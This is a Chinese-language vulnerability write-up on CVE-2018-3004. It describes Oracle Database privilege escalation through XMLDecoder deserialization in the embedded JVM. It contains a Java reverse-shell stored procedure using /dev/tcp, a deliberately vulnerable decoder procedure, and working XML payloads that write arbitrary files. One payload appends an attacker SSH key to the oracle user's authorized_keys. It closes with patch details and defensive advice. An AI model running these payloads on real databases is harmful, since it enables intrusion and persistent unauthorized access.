基于反序列化的Oracle提权
字数 1042 2025-08-29 08:32:19

Oracle数据库反序列化提权漏洞分析与利用

漏洞概述

Oracle数据库存在一个通过Java反序列化绕过Oracle JVM内置安全机制实现权限提升的漏洞(CVE-2018-3004)。攻击者可以利用此漏洞获取服务器上的shell级访问权限和数据库的SYS级别权限。

技术背景

Java反序列化漏洞

Java反序列化漏洞自2015年Foxglove安全团队公开以来,已成为安全研究的热点。这些漏洞通常基于ysoserial库,允许攻击者通过反序列化恶意对象实现远程代码执行。

Oracle中的Java存储过程

Oracle Enterprise Edition内置了Java虚拟机,支持通过Java存储过程执行Java代码:

create function get_java_property(prop in varchar2) 
return varchar2 is 
language java name 'java.name.System.getProperty(java.lang.String) return java.lang.String';

Oracle JVM的安全机制

Oracle JVM实现了细粒度的安全策略控制对操作系统和文件系统的访问。例如,直接执行系统命令会被阻止:

SET scan off
create or replace and compile java source named ReverseShell as
import java.io.*;
public class ReverseShell{
    public static void getConnection(String ip, String port) throws InterruptedException, IOException{
        Runtime r = Runtime.getRuntime();
        Process p = r.exec(new String[]{"/bin/bash","-c","0<&126-;exec 126<>/dev/tcp/" + ip + "/" + port + ";/bin/bash <&126 >&126 2>&126"});
        System.out.println(p.toString());
        p.waitFor();
    }
}
/

执行时会报错:

ORA-29532: Java call terminated by uncaught Java exception:
java.security.AccessControlException: the Permission (java.io.FilePermission /bin/bash execute) has not been granted to TESTER. 
The PL/SQL to grant this is dbms_java.grant_permission( 'TESTER', 'SYS:java.io.FilePermission','/bin/bash', 'execute' )

漏洞原理

XML反序列化绕过

通过XML反序列化可以绕过Oracle JVM的安全机制。Java提供了XMLEncoderXMLDecoder类用于对象的XML序列化和反序列化。

创建易受攻击的Java存储过程:

create or replace and compile java source named DecodeMe as
import java.io.*;
import java.beans.*;
public class DecodeMe{
    public static void input(String xml) throws InterruptedException, IOException {
        XMLDecoder decoder = new XMLDecoder ( new ByteArrayInputStream(xml.getBytes()));
        Object object = decoder.readObject();
        System.out.println(object.toString());
        decoder.close();
    }
}
/

CREATE OR REPLACE PROCEDURE decodeme (p_xml IN VARCHAR2) 
IS language java name 'DecodeMe.input(java.lang.String)';
/

漏洞验证

  1. 基本测试 - 输出到控制台:
BEGIN 
    decodeme('<?xml version="1.0" encoding="UTF-8" ?>
    <java version="1.4.0" class="java.beans.XMLDecoder">
        <object class="java.lang.System" field="out">
            <void method="println">
                <string>This is test output to the console</string>
            </void>
        </object>
    </java>');
END;
/
  1. 文件写入测试 - 创建文件:
BEGIN 
    decodeme('
    <java class="java.beans.XMLDecoder" version="1.4.0" >
        <object class="java.io.FileWriter">
            <string>/tmp/PleaseDoNotWork.txt</string>
            <boolean>True</boolean>
            <void method="write">
                <string>Why for the love of god?</string>
            </void>
            <void method="close" />
        </object>
    </java>');
END;
/

漏洞利用

任意文件写入

攻击者可以覆盖或附加Oracle用户有权限的任何文件,可能导致:

  • 拒绝服务攻击
  • 数据损坏
  • 系统完全沦陷

获取系统访问权限

通过向Oracle用户的.ssh/authorized_keys文件添加攻击者的RSA公钥,可以获取SSH访问权限:

BEGIN 
    decodeme('
    <java class="java.beans.XMLDecoder" version="1.4.0">
        <object class="java.io.FileWriter">
            <string>/home/oracle/.ssh/authorized_keys</string>
            <boolean>True</boolean>
            <void method="write">
                <string>ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCedKQPeoJ1UeJEW6ZVkiuWAxBKW8F4fc0VrWxR5HEgaAcVodhgc6X7klyOWrJceGqICcCZd6K+/lvI3xaE2scJpRZWlcJQNCoZMRfmlhibq9IWMH0dm5LqL3QMqrXzZ+a2dfNohSdSmLDTaFHkzOGKEQIwHCv/e4e/eKnm0fUWHeL0k4KuCn3MQUN1HwoqoCciR0DrBDOYAKHxqpBv9rDneCdvaS+tqlr5eShjNlHv1YzJGb0lZZlsny19is8CkhcZ6+O+UCKoBPrxaGsfipsEIH5aPu9xVA90Xgsakhg4yoy9FLnES+xmnVxKX5GHyixi3qeWGDwBsAvhAAGLxOc5</string>
            </void>
            <void method="close" />
        </object>
    </java>');
END;
/

影响范围

  • Oracle 12C及更早版本
  • 共享租户模型环境(多个应用共享同一数据库)
  • Oracle Exadata实现(同一服务器托管多个数据库实例)

修复方案

Oracle已发布补丁修复此漏洞:

  • Oracle错误号:Bug 27923353
  • 补丁版本:OJVM 12.2.0.1.180717 (p27923353_122010_Linux-x86-64.zip)

防御建议

  1. 及时应用Oracle发布的安全补丁
  2. 限制数据库用户的权限,遵循最小权限原则
  3. 监控异常的文件系统修改
  4. 定期审计数据库中的Java存储过程
  5. 限制数据库服务器的网络访问,特别是SSH服务

总结

此漏洞展示了Java反序列化漏洞不仅存在于应用服务器中,也可能出现在嵌入式实现如数据库的Java虚拟机中。安全研究人员需要拓宽视野,考虑各种环境下的反序列化攻击向量。

Oracle数据库反序列化提权漏洞分析与利用 漏洞概述 Oracle数据库存在一个通过Java反序列化绕过Oracle JVM内置安全机制实现权限提升的漏洞(CVE-2018-3004)。攻击者可以利用此漏洞获取服务器上的shell级访问权限和数据库的SYS级别权限。 技术背景 Java反序列化漏洞 Java反序列化漏洞自2015年Foxglove安全团队公开以来,已成为安全研究的热点。这些漏洞通常基于ysoserial库,允许攻击者通过反序列化恶意对象实现远程代码执行。 Oracle中的Java存储过程 Oracle Enterprise Edition内置了Java虚拟机,支持通过Java存储过程执行Java代码: Oracle JVM的安全机制 Oracle JVM实现了细粒度的安全策略控制对操作系统和文件系统的访问。例如,直接执行系统命令会被阻止: 执行时会报错: 漏洞原理 XML反序列化绕过 通过XML反序列化可以绕过Oracle JVM的安全机制。Java提供了 XMLEncoder 和 XMLDecoder 类用于对象的XML序列化和反序列化。 创建易受攻击的Java存储过程: 漏洞验证 基本测试 - 输出到控制台: 文件写入测试 - 创建文件: 漏洞利用 任意文件写入 攻击者可以覆盖或附加Oracle用户有权限的任何文件,可能导致: 拒绝服务攻击 数据损坏 系统完全沦陷 获取系统访问权限 通过向Oracle用户的 .ssh/authorized_keys 文件添加攻击者的RSA公钥,可以获取SSH访问权限: 影响范围 Oracle 12C及更早版本 共享租户模型环境(多个应用共享同一数据库) Oracle Exadata实现(同一服务器托管多个数据库实例) 修复方案 Oracle已发布补丁修复此漏洞: Oracle错误号:Bug 27923353 补丁版本:OJVM 12.2.0.1.180717 (p27923353_ 122010_ Linux-x86-64.zip) 防御建议 及时应用Oracle发布的安全补丁 限制数据库用户的权限,遵循最小权限原则 监控异常的文件系统修改 定期审计数据库中的Java存储过程 限制数据库服务器的网络访问,特别是SSH服务 总结 此漏洞展示了Java反序列化漏洞不仅存在于应用服务器中,也可能出现在嵌入式实现如数据库的Java虚拟机中。安全研究人员需要拓宽视野,考虑各种环境下的反序列化攻击向量。